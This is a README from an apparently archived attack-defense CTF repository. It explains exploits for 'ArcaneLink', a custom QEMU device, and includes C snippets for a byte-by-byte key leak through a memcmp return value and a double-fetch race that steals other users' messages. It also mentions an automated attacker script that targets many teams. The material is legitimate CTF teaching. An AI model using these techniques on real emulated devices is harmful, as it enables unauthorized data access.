Skip to content
This repository has been archived by the owner on Sep 14, 2023. It is now read-only.

Latest commit

 

History

History
174 lines (133 loc) · 5.33 KB

README.md

File metadata and controls

174 lines (133 loc) · 5.33 KB

ArcaneLink - Exploits

The C files in this directory are the actual exploits to run inside QEMU guests (the VMs managed by the service), while the Python files are simple wrappers that connect to the service, compile, upload and run the exploit on the VMs.

Additionally, simple_attacker.py provides a simple weaponization of the two exploits to run on multiple teams in parallel with automatic flag submission.

NOTE that in order to cross compile the exploit for AArch64 you will need a cross compilation toolchain:

sudo apt-get install gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu

Exploit 1 - Info leak in check key command

exploit_leak_key.c exploits the information leak present in the ArcaneLink device through the CMD_CHK_KEY command used to check the validity of a given key for a given UID.

To leak the key we start with a key initialized to 0xffffffffffffffff:

uint8_t key[8] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

Then for each byte in the key (8) we set the current byte to 0x0 and we invoke CMD_CHK_KEY, we will have 3 possible results:

for (size_t i = 0; i < sizeof(key); i++) {
    key[i] = 0;

    // issue the cmd

    // ...

    leak = ret & 0xffffff; // return value of the cmd

    // memcmp returned original_key[i] - 0x0
    if (leak > 0)
        key[i] = leak;
    // original_key[i] is 0x0, so memcmp returned original_key[i+1] - 0xff
    else if (leak < 0)
        key[i] = 0;
    // if ret = 0 we found the key, exit the loop
    else
        break;
}

Exploit 2 - Double fetch in message peek command + race condition

exploit_race_cond.c exploits the double fetch in the implementation of the CMD_PEEK_MSG command and the race condition between the thread handling requests and the MMIO write handler.

First we fill the current msg queue with many messages containing "PWN" to later distinguish whether we peeked our own messages (exploit attempt failed) or not (exploit attempt succeeded).

Then, to win the race condition with the qemu thread we immediately start a thread that performs an 8-byte write of the desired mid and uid at &req->mid in a busy loop. Given that we write at &req->mid, we bypass the locking done in arcane_guest_write() and overwrite uid while the arcane_thread_worker() function is running:

Our thread:

static void *th(void *arg) {
	volatile guest_req_t *req = (volatile guest_req_t *)arg;
	puts("[thread] started");

	while (1) {
		*(volatile uint64_t *)&(req->mid) = ((uint64_t)target_uid) << 32 | target_msg_idx;
	}

	return NULL;
}

Note that in some lucky scenarios you could also win the race without using a thread (using the thread is much more reliable though) as follows:

// schedule CMD_PEEK_MSG
req->cmd = CMD_PEEK_MSG;
// potentially sleep for some usec here
// perform write and overwrite uid
*(volatile uint64_t *)&(req->mid) = ((uint64_t)target_uid) << 32 | target_msg_idx;

After spawning th we repeatedly issue CMD_PEEK_MSG in the hope that our thread changes the UID right after the auth_uid() check in qemu_thread_worker(), but before the call to get_qid_from_uid():

case CMD_PEEK_MSG: {
    key = req->key;

    // req->uid is read [1]
    if ((ret = auth_uid(req->uid, key)) != 0) {
        arcanelog("    [-] auth failed\n");
        ret |= STATUS_ERROR;
        break;
    }

    // HERE <-----

    // req->uid is read [2]
    qid = get_qid_from_uid(req->uid);
    if (qid == -1) {
        arcanelog("    [-] invalid uid\n");
        ret = STATUS_ERROR | ERR_INVALID_UID;
        break;
    }

    // ...

Each time that we receive a message different from "PWN" we know that we stole a message from the message queue of the target UID, and in that case we increment the message index by 1 and continue the loop.

// ...
fill_msgqueue(req);
// ...
pthread_create(&thread, NULL, th, (void*)req);
// ...

my_uid = getuid();
req->key = my_key;
req->mid = 0;

for (; target_msg_idx <= end_idx; target_msg_idx++) {
    size_t attempts;

    for (attempts = 1; ; attempts++) {
        req->uid = my_uid;
        req->cmd = CMD_PEEK_MSG;
        while ((status = req->status) == STATUS_BUSY) usleep(10);

        if ((status & 0xff000000) == STATUS_ERROR && (status & 0xffffff) == ERR_ENOMSG)
            goto no_more_msgs;

        if ((status & 0xff000000) == STATUS_OK) {
            // If we peek something other than the previously pushed msg,
            // we just stole a msg that is not ours
            if (strcmp((char *)req->buf, "PWN"))
                break;
        }
    }

    printf("[exploit] stolen msg at idx %" PRIu32 " (%" PRIu64 " attempts): %s\n", target_msg_idx, attempts, req->buf);
    success = true;
}

Note that the race can fail in two ways:

  1. Our thread changes req->uid before auth_uid: in this case the command will fail with STATUS_ERROR|ERR_INVALID_KEY (0x02000004).
  2. Our thread changes req->uid after the call to get_qid_from_uid(): in this case the message will be popped from our queue instead. Since we initially filled our message queue with known messages ("PWN"), we can easily distinguish this case by checking the peeked message.

Finally, if we ever get a status of STATUS_ERROR|ERROR_ENOMSG (i.e. 0x02000009) we can safely stop as the target UID does not own any more messages.